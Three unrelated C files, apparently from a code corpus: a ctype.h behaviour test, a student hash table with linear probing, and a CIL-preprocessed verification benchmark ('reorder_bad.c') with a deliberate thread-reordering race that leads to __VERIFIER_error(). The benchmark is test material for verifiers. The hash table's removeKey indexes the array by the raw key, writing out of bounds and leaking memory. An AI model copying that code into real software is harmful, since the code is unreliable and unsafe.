#define _BSD_SOURCE #include <stdio.h> #include <ctype.h> int main() { printf("%c%c%c\n", tolower('a'), tolower('B'), tolower('1')); printf("%c%c%c\n", toupper('a'), toupper('B'), toupper('1')); const int* tl = *__ctype_tolower_loc(); printf("%c%c%c\n", (char)tl['c'], (char)tl['D'], (char)tl['2']); const int* tu = *__ctype_toupper_loc(); printf("%c%c%c\n", (char)tu['c'], (char)tu['D'], (char)tu['2']); printf("\n"); printf("toascii(-45): %d\n", toascii(-45)); printf("toascii( 10): %d\n", toascii(10)); printf("toascii('a'): %d\n", toascii('a')); printf("toascii(183): %d\n", toascii(183)); // These will be compiled as actual function calls. int (*funcs[])(int) = { isascii, islower, isupper, isupper, isalpha, isdigit, isxdigit, isalnum, ispunct, isspace, isblank, iscntrl, isprint, isgraph }; char* funcNames[] = { "isascii", "islower", "isupper", "isupper", "isalpha", "isdigit", "isxdigit", "isalnum", "ispunct", "isspace", "isblank", "iscntrl", "isprint", "isgraph" }; for (int i = 0; i < sizeof funcs / sizeof funcs[0]; i++) { printf("\n"); printf("%s/call(-45): %d\n", funcNames[i], funcs[i](-45) != 0); printf("%s/call( 10): %d\n", funcNames[i], funcs[i](10) != 0); printf("%s/call('a'): %d\n", funcNames[i], funcs[i]('a') != 0); printf("%s/call('A'): %d\n", funcNames[i], funcs[i]('A') != 0); printf("%s/call('5'): %d\n", funcNames[i], funcs[i]('5') != 0); printf("%s/call('.'): %d\n", funcNames[i], funcs[i]('.') != 0); printf("%s/call(183): %d\n", funcNames[i], funcs[i](183) != 0); } printf("\n"); printf("isascii(-45): %d\n", isascii(-45) != 0); printf("isascii( 10): %d\n", isascii( 10) != 0); printf("isascii('a'): %d\n", isascii('a') != 0); printf("isascii('A'): %d\n", isascii('A') != 0); printf("isascii('5'): %d\n", isascii('5') != 0); printf("isascii('.'): %d\n", isascii('.') != 0); printf("isascii(183): %d\n", isascii(183) != 0); // These are manually preprocessed to use __ctype_b_loc. The flags combination // that the test runner uses seems to cause the macro to be ignored. printf("\n"); printf("islower(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISlower) != 0); printf("islower( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISlower) != 0); printf("islower('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISlower) != 0); printf("islower('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISlower) != 0); printf("islower('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISlower) != 0); printf("islower('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISlower) != 0); printf("islower(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISlower) != 0); printf("\n"); printf("isupper(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISupper) != 0); printf("isupper( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISupper) != 0); printf("isupper('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISupper) != 0); printf("isupper('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISupper) != 0); printf("isupper('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISupper) != 0); printf("isupper('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISupper) != 0); printf("isupper(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISupper) != 0); printf("\n"); printf("isupper(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISupper) != 0); printf("isupper( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISupper) != 0); printf("isupper('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISupper) != 0); printf("isupper('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISupper) != 0); printf("isupper('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISupper) != 0); printf("isupper('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISupper) != 0); printf("isupper(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISupper) != 0); printf("\n"); printf("isalpha(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISalpha) != 0); printf("isalpha( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISalpha) != 0); printf("isalpha('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISalpha) != 0); printf("isalpha('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISalpha) != 0); printf("isalpha('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISalpha) != 0); printf("isalpha('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISalpha) != 0); printf("isalpha(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISalpha) != 0); printf("\n"); printf("isdigit(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISdigit) != 0); printf("isdigit( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISdigit) != 0); printf("isdigit('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISdigit) != 0); printf("isdigit('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISdigit) != 0); printf("isdigit('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISdigit) != 0); printf("isdigit('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISdigit) != 0); printf("isdigit(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISdigit) != 0); printf("\n"); printf("isxdigit(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISxdigit) != 0); printf("isxdigit( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISxdigit) != 0); printf("isxdigit('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISxdigit) != 0); printf("isxdigit('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISxdigit) != 0); printf("isxdigit('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISxdigit) != 0); printf("isxdigit('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISxdigit) != 0); printf("isxdigit(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISxdigit) != 0); printf("\n"); printf("isalnum(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISalnum) != 0); printf("isalnum( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISalnum) != 0); printf("isalnum('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISalnum) != 0); printf("isalnum('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISalnum) != 0); printf("isalnum('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISalnum) != 0); printf("isalnum('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISalnum) != 0); printf("isalnum(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISalnum) != 0); printf("\n"); printf("ispunct(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISpunct) != 0); printf("ispunct( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISpunct) != 0); printf("ispunct('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISpunct) != 0); printf("ispunct('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISpunct) != 0); printf("ispunct('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISpunct) != 0); printf("ispunct('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISpunct) != 0); printf("ispunct(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISpunct) != 0); printf("\n"); printf("isspace(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISspace) != 0); printf("isspace( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISspace) != 0); printf("isspace('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISspace) != 0); printf("isspace('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISspace) != 0); printf("isspace('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISspace) != 0); printf("isspace('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISspace) != 0); printf("isspace(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISspace) != 0); printf("\n"); printf("isblank(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISblank) != 0); printf("isblank( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISblank) != 0); printf("isblank('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISblank) != 0); printf("isblank('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISblank) != 0); printf("isblank('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISblank) != 0); printf("isblank('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISblank) != 0); printf("isblank(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISblank) != 0); printf("\n"); printf("iscntrl(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _IScntrl) != 0); printf("iscntrl( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _IScntrl) != 0); printf("iscntrl('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _IScntrl) != 0); printf("iscntrl('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _IScntrl) != 0); printf("iscntrl('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _IScntrl) != 0); printf("iscntrl('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _IScntrl) != 0); printf("iscntrl(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _IScntrl) != 0); printf("\n"); printf("isprint(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISprint) != 0); printf("isprint( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISprint) != 0); printf("isprint('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISprint) != 0); printf("isprint('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISprint) != 0); printf("isprint('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISprint) != 0); printf("isprint('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISprint) != 0); printf("isprint(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISprint) != 0); printf("\n"); printf("isgraph(-45): %d\n", ((*__ctype_b_loc ())[(int) ((-45))] & (unsigned short int) _ISgraph) != 0); printf("isgraph( 10): %d\n", ((*__ctype_b_loc ())[(int) ((10))] & (unsigned short int) _ISgraph) != 0); printf("isgraph('a'): %d\n", ((*__ctype_b_loc ())[(int) (('a'))] & (unsigned short int) _ISgraph) != 0); printf("isgraph('A'): %d\n", ((*__ctype_b_loc ())[(int) (('A'))] & (unsigned short int) _ISgraph) != 0); printf("isgraph('5'): %d\n", ((*__ctype_b_loc ())[(int) (('5'))] & (unsigned short int) _ISgraph) != 0); printf("isgraph('.'): %d\n", ((*__ctype_b_loc ())[(int) (('.'))] & (unsigned short int) _ISgraph) != 0); printf("isgraph(183): %d\n", ((*__ctype_b_loc ())[(int) ((183))] & (unsigned short int) _ISgraph) != 0); return 0; }
the_stack_data/150597.c
#include <stdio.h> #include <stdlib.h> struct aluno { int matricula; }; typedef struct hash { int qtd, n; struct aluno **array; } Hash; Hash *createHash(int n); void freeHash(Hash *hash); int chaveDivisao(int key, int n); int sondagemLinear(int pos, int i, int n); int insertKey(Hash *hash, struct aluno aluno); int searchKey(Hash *hash, int matricula, struct aluno *aluno); int removeKey(Hash *hash, struct aluno aluno, int n); int printHash(Hash *hash); int main() { int menu, n, key, result; scanf("%d", &n); Hash *table = createHash(n); struct aluno aluno; do { scanf("%d", &menu); switch (menu) { case 1: scanf("%d", &aluno.matricula); insertKey(table, aluno); break; case 2: scanf("%d", &key); result = searchKey(table, key, &aluno); printf("%d\n", result); break; case 3: scanf("%d", &aluno.matricula); result = removeKey(table, aluno, n); break; case 4: printHash(table); printf("\n"); break; } } while (menu != 9); freeHash(table); return 0; } Hash *createHash(int n) { Hash *hash = (Hash *)malloc(sizeof(Hash)); if (hash != NULL) { hash->n = n; hash->array = (struct aluno **)malloc(n * sizeof(struct aluno *)); if (hash->array == NULL) { free(hash); return NULL; } hash->qtd = 0; for (int i = 0; i < hash->n; i++) hash->array[i] = NULL; } return hash; } void freeHash(Hash *hash) { if (hash != NULL) { for (int i = 0; i < hash->n; i++) if (hash->array[i] != NULL) free(hash->array[i]); free(hash->array); free(hash); } } int chaveDivisao(int key, int n) { return (key & 0x7FFFFFFF) % n; } int sondagemLinear(int pos, int i, int n) { return ((pos + i) & 0x7FFFFFFF) % n; } int insertKey(Hash *hash, struct aluno aluno) { if (hash == NULL || hash->qtd == hash->n) return 0; int pos, newPos, key = aluno.matricula; pos = chaveDivisao(key, hash->n); for (int i = 0; i < hash->n; i++) { newPos = sondagemLinear(pos, i, hash->n); if (hash->array[newPos] == NULL) { struct aluno *new; new = (struct aluno *)malloc(sizeof(struct aluno)); if (new == NULL) return 0; *new = aluno; hash->array[newPos] = new; hash->qtd++; return 1; } } return 0; } int searchKey(Hash *hash, int matricula, struct aluno *aluno) { if (hash == NULL) return 0; int pos, newPos; pos = chaveDivisao(matricula, hash->n); for (int i = 0; i < hash->n; i++) { newPos = sondagemLinear(pos, i, hash->n); if (hash->array[newPos] == NULL) return -1; if (hash->array[newPos]->matricula == matricula) { *aluno = *(hash->array[newPos]); return newPos; } } return -1; } int removeKey(Hash *hash, struct aluno aluno, int n) { if (hash == NULL) return 0; int key = aluno.matricula; struct aluno *new; new = (struct aluno *)malloc(sizeof(struct aluno)); if (new == NULL) return 0; aluno.matricula = -1; //dummy *new = aluno; hash->array[key] = new; hash->qtd--; return 1; } int printHash(Hash *hash) { if (hash == NULL) return 0; else for (int i = 0; i < hash->n; i++) if (hash->array[i] != NULL && hash->array[i]->matricula != -1) printf("%d ", hash->array[i]->matricula); return 1; }
the_stack_data/58026.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); /* Generated by CIL v. 1.3.7 */ /* print_CIL_Input is true */ #line 214 "/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h" typedef unsigned long size_t; #line 144 "/usr/include/bits/types.h" typedef long __off_t; #line 145 "/usr/include/bits/types.h" typedef long __off64_t; #line 46 "/usr/include/stdio.h" struct _IO_FILE; #line 46 "/usr/include/stdio.h" typedef struct _IO_FILE FILE; #line 167 "/usr/include/libio.h" struct _IO_FILE; #line 177 "/usr/include/libio.h" typedef void _IO_lock_t; #line 183 "/usr/include/libio.h" struct _IO_marker { struct _IO_marker *_next ; struct _IO_FILE *_sbuf ; int _pos ; }; #line 268 "/usr/include/libio.h" struct _IO_FILE { int _flags ; char *_IO_read_ptr ; char *_IO_read_end ; char *_IO_read_base ; char *_IO_write_base ; char *_IO_write_ptr ; char *_IO_write_end ; char *_IO_buf_base ; char *_IO_buf_end ; char *_IO_save_base ; char *_IO_backup_base ; char *_IO_save_end ; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno ; int _flags2 ; __off_t _old_offset ; unsigned short _cur_column ; signed char _vtable_offset ; char _shortbuf[1] ; _IO_lock_t *_lock ; __off64_t _offset ; void *__pad1 ; void *__pad2 ; void *__pad3 ; void *__pad4 ; size_t __pad5 ; int _mode ; char _unused2[(15U * sizeof(int ) - 4U * sizeof(void *)) - sizeof(size_t )] ; }; #line 50 "/usr/include/bits/pthreadtypes.h" typedef unsigned long pthread_t; #line 53 "/usr/include/bits/pthreadtypes.h" union __anonunion_pthread_attr_t_14 { char __size[56] ; long __align ; }; #line 53 "/usr/include/bits/pthreadtypes.h" typedef union __anonunion_pthread_attr_t_14 pthread_attr_t; #line 1 "<compiler builtins>" #line 144 "/usr/include/stdio.h" extern struct _IO_FILE *stderr ; #line 327 extern int fprintf(FILE * __restrict __stream , char const * __restrict __format , ...) ; #line 407 extern __attribute__((__nothrow__)) int sscanf(char const * __restrict __s , char const * __restrict __format , ...) ; #line 30 "/usr/include/sys/sysmacros.h" __inline extern __attribute__((__nothrow__)) unsigned int gnu_dev_major(unsigned long long __dev ) ; #line 33 __inline extern __attribute__((__nothrow__)) unsigned int gnu_dev_minor(unsigned long long __dev ) ; #line 36 __inline extern __attribute__((__nothrow__)) unsigned long long gnu_dev_makedev(unsigned int __major , unsigned int __minor ) ; #line 41 __inline extern __attribute__((__nothrow__)) unsigned int gnu_dev_major(unsigned long long __dev ) ; #line 41 "/usr/include/sys/sysmacros.h" __inline extern unsigned int gnu_dev_major(unsigned long long __dev ) { unsigned long long __cil_tmp2 ; unsigned int __cil_tmp3 ; unsigned int __cil_tmp4 ; unsigned long long __cil_tmp5 ; unsigned long long __cil_tmp6 ; unsigned long long __cil_tmp7 ; unsigned long long __cil_tmp8 ; { { #line 44 __cil_tmp2 = __dev >> 32; #line 44 __cil_tmp3 = (unsigned int )__cil_tmp2; #line 44 __cil_tmp4 = __cil_tmp3 & 4294963200U; #line 44 __cil_tmp5 = (unsigned long long )__cil_tmp4; #line 44 __cil_tmp6 = __dev >> 8; #line 44 __cil_tmp7 = __cil_tmp6 & 4095ULL; #line 44 __cil_tmp8 = __cil_tmp7 | __cil_tmp5; #line 44 return ((unsigned int )__cil_tmp8); } } } #line 47 __inline extern __attribute__((__nothrow__)) unsigned int gnu_dev_minor(unsigned long long __dev ) ; #line 47 "/usr/include/sys/sysmacros.h" __inline extern unsigned int gnu_dev_minor(unsigned long long __dev ) { unsigned long long __cil_tmp2 ; unsigned int __cil_tmp3 ; unsigned int __cil_tmp4 ; unsigned long long __cil_tmp5 ; unsigned long long __cil_tmp6 ; unsigned long long __cil_tmp7 ; { { #line 50 __cil_tmp2 = __dev >> 12; #line 50 __cil_tmp3 = (unsigned int )__cil_tmp2; #line 50 __cil_tmp4 = __cil_tmp3 & 4294967040U; #line 50 __cil_tmp5 = (unsigned long long )__cil_tmp4; #line 50 __cil_tmp6 = __dev & 255ULL; #line 50 __cil_tmp7 = __cil_tmp6 | __cil_tmp5; #line 50 return ((unsigned int )__cil_tmp7); } } } #line 53 __inline extern __attribute__((__nothrow__)) unsigned long long gnu_dev_makedev(unsigned int __major , unsigned int __minor ) ; #line 53 "/usr/include/sys/sysmacros.h" __inline extern unsigned long long gnu_dev_makedev(unsigned int __major , unsigned int __minor ) { unsigned int __cil_tmp3 ; unsigned long long __cil_tmp4 ; unsigned long long __cil_tmp5 ; unsigned int __cil_tmp6 ; unsigned long long __cil_tmp7 ; unsigned long long __cil_tmp8 ; unsigned int __cil_tmp9 ; unsigned int __cil_tmp10 ; unsigned int __cil_tmp11 ; unsigned int __cil_tmp12 ; unsigned long long __cil_tmp13 ; unsigned long long __cil_tmp14 ; { { #line 56 __cil_tmp3 = __major & 4294963200U; #line 56 __cil_tmp4 = (unsigned long long )__cil_tmp3; #line 56 __cil_tmp5 = __cil_tmp4 << 32; #line 56 __cil_tmp6 = __minor & 4294967040U; #line 56 __cil_tmp7 = (unsigned long long )__cil_tmp6; #line 56 __cil_tmp8 = __cil_tmp7 << 12; #line 56 __cil_tmp9 = __major & 4095U; #line 56 __cil_tmp10 = __cil_tmp9 << 8; #line 56 __cil_tmp11 = __minor & 255U; #line 56 __cil_tmp12 = __cil_tmp11 | __cil_tmp10; #line 56 __cil_tmp13 = (unsigned long long )__cil_tmp12; #line 56 __cil_tmp14 = __cil_tmp13 | __cil_tmp8; #line 56 return (__cil_tmp14 | __cil_tmp5); } } } #line 646 "/usr/include/stdlib.h" extern __attribute__((__nothrow__, __noreturn__)) void exit(int __status ) ; #line 221 "/usr/include/pthread.h" extern __attribute__((__nothrow__)) int pthread_create(pthread_t * __restrict __newthread , pthread_attr_t const * __restrict __attr , void *(*__start_routine)(void * ) , void * __restrict __arg ) __attribute__((__nonnull__(1,3))) ; #line 238 extern int pthread_join(pthread_t __th , void **__thread_return ) ; #line 7 "reorder_bad.c" static int iSet = 4; #line 8 "reorder_bad.c" static int iCheck = 1; #line 10 "reorder_bad.c" static int a = 0; #line 11 "reorder_bad.c" static int b = 0; #line 15 void *setThread(void *param ) ; #line 16 void *checkThread(void *param ) ; #line 20 "reorder_bad.c" int main(int argc , char **argv ) { int i ; int err ; pthread_t *setPool ; unsigned int __lengthofsetPool ; void *tmp ; pthread_t *checkPool ; unsigned int __lengthofcheckPool ; void *tmp___0 ; FILE * __restrict __cil_tmp11 ; char const * __restrict __cil_tmp12 ; char **__cil_tmp13 ; char *__cil_tmp14 ; char const * __restrict __cil_tmp15 ; char const * __restrict __cil_tmp16 ; char **__cil_tmp17 ; char *__cil_tmp18 ; char const * __restrict __cil_tmp19 ; char const * __restrict __cil_tmp20 ; int *__cil_tmp21 ; int __cil_tmp22 ; unsigned int __cil_tmp23 ; int *__cil_tmp24 ; int __cil_tmp25 ; unsigned int __cil_tmp26 ; int *__cil_tmp27 ; int __cil_tmp28 ; pthread_t *__cil_tmp29 ; pthread_t * __restrict __cil_tmp30 ; void *__cil_tmp31 ; pthread_attr_t const * __restrict __cil_tmp32 ; void *__cil_tmp33 ; void * __restrict __cil_tmp34 ; FILE * __restrict __cil_tmp35 ; char const * __restrict __cil_tmp36 ; int *__cil_tmp37 ; int __cil_tmp38 ; pthread_t *__cil_tmp39 ; pthread_t * __restrict __cil_tmp40 ; void *__cil_tmp41 ; pthread_attr_t const * __restrict __cil_tmp42 ; void *__cil_tmp43 ; void * __restrict __cil_tmp44 ; FILE * __restrict __cil_tmp45 ; char const * __restrict __cil_tmp46 ; int *__cil_tmp47 ; int __cil_tmp48 ; pthread_t *__cil_tmp49 ; pthread_t __cil_tmp50 ; void *__cil_tmp51 ; void **__cil_tmp52 ; FILE * __restrict __cil_tmp53 ; char const * __restrict __cil_tmp54 ; int *__cil_tmp55 ; int __cil_tmp56 ; pthread_t *__cil_tmp57 ; pthread_t __cil_tmp58 ; void *__cil_tmp59 ; void **__cil_tmp60 ; FILE * __restrict __cil_tmp61 ; char const * __restrict __cil_tmp62 ; { #line 23 if (argc != 1) { #line 24 if (argc != 3) { { #line 25 __cil_tmp11 = (FILE * __restrict )stderr; #line 25 __cil_tmp12 = (char const * __restrict )"./reorder <param1> <param2>\n"; #line 25 fprintf(__cil_tmp11, __cil_tmp12); #line 26 exit(-1); } } else { { #line 28 __cil_tmp13 = argv + 1; #line 28 __cil_tmp14 = *__cil_tmp13; #line 28 __cil_tmp15 = (char const * __restrict )__cil_tmp14; #line 28 __cil_tmp16 = (char const * __restrict )"%d"; #line 28 sscanf(__cil_tmp15, __cil_tmp16, & iSet); #line 29 __cil_tmp17 = argv + 2; #line 29 __cil_tmp18 = *__cil_tmp17; #line 29 __cil_tmp19 = (char const * __restrict )__cil_tmp18; #line 29 __cil_tmp20 = (char const * __restrict )"%d"; #line 29 sscanf(__cil_tmp19, __cil_tmp20, & iCheck); } } } else { } { #line 35 __cil_tmp21 = & iSet; #line 35 __cil_tmp22 = *__cil_tmp21; #line 35 __lengthofsetPool = (unsigned int )__cil_tmp22; #line 35 __cil_tmp23 = 4U * __lengthofsetPool; #line 35 tmp = __builtin_alloca(__cil_tmp23); #line 35 setPool = (pthread_t *)tmp; #line 36 __cil_tmp24 = & iCheck; #line 36 __cil_tmp25 = *__cil_tmp24; #line 36 __lengthofcheckPool = (unsigned int )__cil_tmp25; #line 36 __cil_tmp26 = 4U * __lengthofcheckPool; #line 36 tmp___0 = __builtin_alloca(__cil_tmp26); #line 36 checkPool = (pthread_t *)tmp___0; #line 38 i = 0; } { #line 38 while (1) { while_0_continue: /* CIL Label */ ; { #line 38 __cil_tmp27 = & iSet; #line 38 __cil_tmp28 = *__cil_tmp27; #line 38 if (i < __cil_tmp28) { } else { goto while_0_break; } } { #line 39 __cil_tmp29 = setPool + i; #line 39 __cil_tmp30 = (pthread_t * __restrict )__cil_tmp29; #line 39 __cil_tmp31 = (void *)0; #line 39 __cil_tmp32 = (pthread_attr_t const * __restrict )__cil_tmp31; #line 39 __cil_tmp33 = (void *)0; #line 39 __cil_tmp34 = (void * __restrict )__cil_tmp33; #line 39 err = pthread_create(__cil_tmp30, __cil_tmp32, & setThread, __cil_tmp34); } #line 39 if (0 != err) { { #line 40 __cil_tmp35 = (FILE * __restrict )stderr; #line 40 __cil_tmp36 = (char const * __restrict )"Error [%d] found creating set thread.\n"; #line 40 fprintf(__cil_tmp35, __cil_tmp36, err); #line 41 exit(-1); } } else { } #line 38 i = i + 1; } while_0_break: /* CIL Label */ ; } #line 45 i = 0; { #line 45 while (1) { while_1_continue: /* CIL Label */ ; { #line 45 __cil_tmp37 = & iCheck; #line 45 __cil_tmp38 = *__cil_tmp37; #line 45 if (i < __cil_tmp38) { } else { goto while_1_break; } } { #line 46 __cil_tmp39 = checkPool + i; #line 46 __cil_tmp40 = (pthread_t * __restrict )__cil_tmp39; #line 46 __cil_tmp41 = (void *)0; #line 46 __cil_tmp42 = (pthread_attr_t const * __restrict )__cil_tmp41; #line 46 __cil_tmp43 = (void *)0; #line 46 __cil_tmp44 = (void * __restrict )__cil_tmp43; #line 46 err = pthread_create(__cil_tmp40, __cil_tmp42, & checkThread, __cil_tmp44); } #line 46 if (0 != err) { { #line 48 __cil_tmp45 = (FILE * __restrict )stderr; #line 48 __cil_tmp46 = (char const * __restrict )"Error [%d] found creating check thread.\n"; #line 48 fprintf(__cil_tmp45, __cil_tmp46, err); #line 49 exit(-1); } } else { } #line 45 i = i + 1; } while_1_break: /* CIL Label */ ; } #line 53 i = 0; { #line 53 while (1) { while_2_continue: /* CIL Label */ ; { #line 53 __cil_tmp47 = & iSet; #line 53 __cil_tmp48 = *__cil_tmp47; #line 53 if (i < __cil_tmp48) { } else { goto while_2_break; } } { #line 54 __cil_tmp49 = setPool + i; #line 54 __cil_tmp50 = *__cil_tmp49; #line 54 __cil_tmp51 = (void *)0; #line 54 __cil_tmp52 = (void **)__cil_tmp51; #line 54 err = pthread_join(__cil_tmp50, __cil_tmp52); } #line 54 if (0 != err) { { #line 55 __cil_tmp53 = (FILE * __restrict )stderr; #line 55 __cil_tmp54 = (char const * __restrict )"pthread join error: %d\n"; #line 55 fprintf(__cil_tmp53, __cil_tmp54, err); #line 56 exit(-1); } } else { } #line 53 i = i + 1; } while_2_break: /* CIL Label */ ; } #line 60 i = 0; { #line 60 while (1) { while_3_continue: /* CIL Label */ ; { #line 60 __cil_tmp55 = & iCheck; #line 60 __cil_tmp56 = *__cil_tmp55; #line 60 if (i < __cil_tmp56) { } else { goto while_3_break; } } { #line 61 __cil_tmp57 = checkPool + i; #line 61 __cil_tmp58 = *__cil_tmp57; #line 61 __cil_tmp59 = (void *)0; #line 61 __cil_tmp60 = (void **)__cil_tmp59; #line 61 err = pthread_join(__cil_tmp58, __cil_tmp60); } #line 61 if (0 != err) { { #line 62 __cil_tmp61 = (FILE * __restrict )stderr; #line 62 __cil_tmp62 = (char const * __restrict )"pthread join error: %d\n"; #line 62 fprintf(__cil_tmp61, __cil_tmp62, err); #line 63 exit(-1); } } else { } #line 60 i = i + 1; } while_3_break: /* CIL Label */ ; } #line 67 return (0); } } #line 70 "reorder_bad.c" void *setThread(void *param ) { { #line 71 a = 1; #line 72 b = -1; #line 74 return ((void *)0); } } #line 77 "reorder_bad.c" void *checkThread(void *param ) { FILE * __restrict __cil_tmp2 ; char const * __restrict __cil_tmp3 ; { #line 78 if (a == 0) { #line 78 if (b == 0) { } else { goto _L___0; } } else { _L___0: /* CIL Label */ #line 78 if (a == 1) { #line 78 if (b == -1) { } else { goto _L; } } else { _L: /* CIL Label */ { #line 79 __cil_tmp2 = (FILE * __restrict )stderr; #line 79 __cil_tmp3 = (char const * __restrict )"Bug found!\n"; #line 79 fprintf(__cil_tmp2, __cil_tmp3); } ERROR: __VERIFIER_error(); } } #line 86 return ((void *)0); } }
the_stack_data/243894512.c
